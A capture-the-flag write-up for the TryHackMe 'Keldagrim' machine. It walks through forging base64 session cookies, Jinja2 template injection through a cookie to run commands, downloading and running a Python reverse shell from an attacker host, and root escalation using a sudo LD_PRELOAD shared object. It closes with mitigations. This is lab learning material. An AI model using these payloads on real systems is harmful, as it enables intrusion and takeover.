This CTF[0] was quite a lot of fun so I decided to make a WriteUp for it. I’m writing this after I solved the CTF unfortunately, but I try to write new ones while I am working on the CTF next time. Documenting the mistakes made during the attempts to solve CTFs will be more interesting I believe.

Portscan

Usually I start with a portscan to see what services are running on the machine. For Keldagrim these are:

$ nmap -sV -p- -Pn 10.10.88.240
<...>
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Werkzeug httpd 1.0.1 (Python 3.6.9)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
<...>

The portscan shows us, that there is an SSH service and python webserver running.

Inspecting the website

Next I looked at the website to see what it is offering and how I can interact with it. Usually I try look for input fields, GET parameters or even login forms. Keldagrim mimics a gold buying service for MMOs but there are no input fields of interest. There is a deactivated Admin link (/admin)in the menu bar, but following the link does not lead to any page of interest (yet).

After inspecting the next interesting information are header fields, cookies and WebStorage - Keldagrim has a session cookie set, that looks like this:

Z3Vlc3Q=

The equal sign at the hint that the session value could be a base64 encoded string:

$ echo "Z3Vlc3Q=" | base64 -d
guest

Login as admin

What happens when we change the session value from guest to admin?

$ echo "admin" | base64
YWRtaW4K

This won’t work, as the padding is missing. Using another tool to encode the admin string, we get YWRtaW4=. Changing the session value to the new string will allow us to visit the /admin page.

Becoming rich

The /admin page shows us the following:

Current user - $2,165

that initially made me sad, as I thought there would be something more useful (e.g. an upload form). I also noticed a new session variable called sales - so the first thing that I did was decoding it:

echo "JDIsMTY1" | base64 -d
$2,165

The same string that is rendered on the page is also encoded in a session cookie - what happens when we change it?

echo "\$1,000,000" | base64
JDEsMDAwLDAwMAo=

Entering this encoded string will actually print

Current user - $1,000,000

We’re rich now! In theory this now can be used for XSS attacks if we’d be able to reach the cookies of a target user. But this is a CTF, so another user does not exist where this can be useful. My next thought was: Does the server use that information or is it only used for visualization in the GUI and the backend does not care about this value? Maybe it is just a trap that the developer placed to distract us.

Detect where text can be injected

After playing around with the values of the cookie I received a 500 - this clearly indicates, that the value is somehow used. Is it used in the backend for rendering? A way to check who is rendering the content is by looking at the server response. In this case the encoded string is already send from the server back to us. It is not inserted by Javascript on the client side, which means the server processes that value, inserts it into a template and sends it back.

Injecting code into templates

As the encoded text is inserted into the template at the backend side, we now need to know if we can exploit this and to what extent. To inject malicious code into the template we first need to know which template language is used in the backend. The nmap scan showed us, that python is used as a webserver and more specifically werkzeug. The template language used in the tutorials of werkzeug[1] is Jinja2.

After I got to know this, I searched for ways to include files into the template (e.g. /etc/shadow) but I did not get this working. I tried serveral things until I ended up on this page[2]

The section Payload development from 0 was the most useful for me. A better description of the technique can be found here[3]

The basic idea behind this is to traverse the class hierarchy until a useful class can be found. So to start the following string needs to be encoded in base64 and set as the sales cookie value:

{{get_flashed_messages.__class__.__mro__[1].__subclasses__()}}

This will show a list of classes. In these classes we want to find one that is suitable for exploitation. As also mentioned by [2] subprocess.Popen is a useful one. Using binary search as described in the article we will find Popen to be at index 401. This allows us now to execute arbitrary commands!

Whoami

As an example, we can check as which user the webservice is running, using:

{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["whoami"], shell=True, stdout=-1).communicate()}}

which returns:

Current user - (b&#39;jed\n&#39;, None) 

Wenn der Berg nicht zum Propheten kommt…

From here I tried to spawn a bash or netcat reverse shell, but did not succeed. To solve this I uploaded a python reverse shell script using wget:

The python reverse shell:

import pty;
RHOST=""
RPORT=4444
import sys
import socket
import os
import pty
s=socket.socket()
s.connect((RHOST,RPORT))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

Python webserver to deploy the shell.py script:

python -m http.server

Decoded cookie value that gets it:

{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["wget", "http://10.x.x.x:8000/shell.py"], stdout=-1, stderr=-1).communicate()}}

The shell listener (attacker machine):

nc -lvnp 4444

Executing the shell by injecting the following cookie:

{{get_flashed_messages.__class__.__mro__[1].__subclasses__()[401](["python3", "./shell.py"], stdout=-1, stderr=-1).communicate()}}

Gaining persistence:

python3 -c 'import pty; pty.spawn("/bin/bash");'
export TERM=xterm
Ctrl+Z
stty raw -echo;fg;

After these steps we obtained a proper shell and are able to find the first flag in the users home directory. (The flag can be obtained before already by using the command injection method described above)

Privilege escalation

To escalate privilages I first search for SUID executables first:

jed@keldagrim:~$ find / -perm /4000 2>/dev/null
/bin/su
/bin/ping
/bin/mount
/bin/umount
/bin/fusermount
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/sudo
/usr/bin/newgrp
/usr/bin/newuidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/traceroute6.iputils
/usr/bin/newgidmap
/usr/bin/at
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/snapd/snap-confine
/usr/lib/openssh/ssh-keysign
/usr/lib/authbind/helper
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

and check what files I am allowed to run as sudo:

jed@keldagrim:~$ sudo -l
Matching Defaults entries for jed on keldagrim:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User jed may run the following commands on keldagrim:
    (ALL : ALL) NOPASSWD: /bin/ps

and this already shows us the route for privilege escalation. The env_keep+=LD_PRELOAD allows us to inject shared objects into processes before we run them. In case of /bin/ps which we are allowed to run as root, we can inject code that gets executed as root.

How exactly this can be exploited can for example be found here[4]

The c file:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
        unsetenv("LD_PRELOAD");
        setgid(0);
        setuid(0);
        system("/bin/bash");
}

(note the additional include, which is not mentioned in the reference)

needs to be compiled with:

gcc -fPIC -shared -o shell.so shell.c -nostartfiles

and after the shell.so has been compiled, we can inject it into the ps call like this:

sudo LD_PRELOAD=/tmp/shell.so /bin/ps

and we will be root. The root flag can be found in the /root directory.

Mitigation

  1. Don’t use encoded usernames in cookies as session ids. Use proper unique session IDs that cannot be cracked easily.
  2. Sanitize and validate user input
  3. Run services with the least (sudo) priviliges possible - make them require a password for sudo.

References

[0] https://tryhackme.com/room/keldagrim

[1] https://werkzeug.palletsprojects.com/en/1.0.x/tutorial/#step-8-template

[2] https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

[3] https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

[4] https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/